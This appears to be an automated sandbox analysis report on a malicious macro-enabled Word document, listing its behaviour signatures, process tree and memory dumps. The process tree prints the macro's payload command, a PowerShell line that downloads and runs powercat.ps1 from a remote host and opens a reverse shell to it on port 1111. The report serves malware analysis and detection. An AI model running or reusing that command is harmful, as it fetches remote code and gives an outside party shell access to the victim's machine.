Analysis

  • max time kernel
    4294178s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20220311-en
  • submitted
    23-03-2022 21:00

General

  • Target

    9.docm

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://192.168.5.128/powercat.ps1

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9.docm"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:964
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c powershell -c IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.5.128/powercat.ps1');powercat -c 192.168.5.128 -p 1111 -e cmd
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1836
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -c IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.5.128/powercat.ps1');powercat -c 192.168.5.128 -p 1111 -e cmd
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1280
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1120

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/964-70-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-74-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/964-57-0x0000000075E61000-0x0000000075E63000-memory.dmp

      Filesize

      8KB

    • memory/964-58-0x0000000070DAD000-0x0000000070DB8000-memory.dmp

      Filesize

      44KB

    • memory/964-60-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-54-0x0000000072341000-0x0000000072344000-memory.dmp

      Filesize

      12KB

    • memory/964-61-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-62-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-63-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-64-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-65-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-69-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-68-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-86-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/964-67-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-59-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-71-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-72-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-73-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-76-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-75-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-55-0x000000006FDC1000-0x000000006FDC3000-memory.dmp

      Filesize

      8KB

    • memory/964-66-0x00000000006C4000-0x00000000006C8000-memory.dmp

      Filesize

      16KB

    • memory/964-80-0x00000000006C4000-0x00000000006C6000-memory.dmp

      Filesize

      8KB

    • memory/1120-85-0x000007FEFB771000-0x000007FEFB773000-memory.dmp

      Filesize

      8KB

    • memory/1120-84-0x0000000000000000-mapping.dmp

    • memory/1280-78-0x0000000000000000-mapping.dmp

    • memory/1280-81-0x000000006A630000-0x000000006ABDB000-memory.dmp

      Filesize

      5.7MB

    • memory/1280-82-0x0000000002530000-0x000000000317A000-memory.dmp

      Filesize

      12.3MB

    • memory/1280-83-0x0000000004A80000-0x0000000004FB6000-memory.dmp

      Filesize

      5.2MB

    • memory/1836-77-0x0000000000000000-mapping.dmp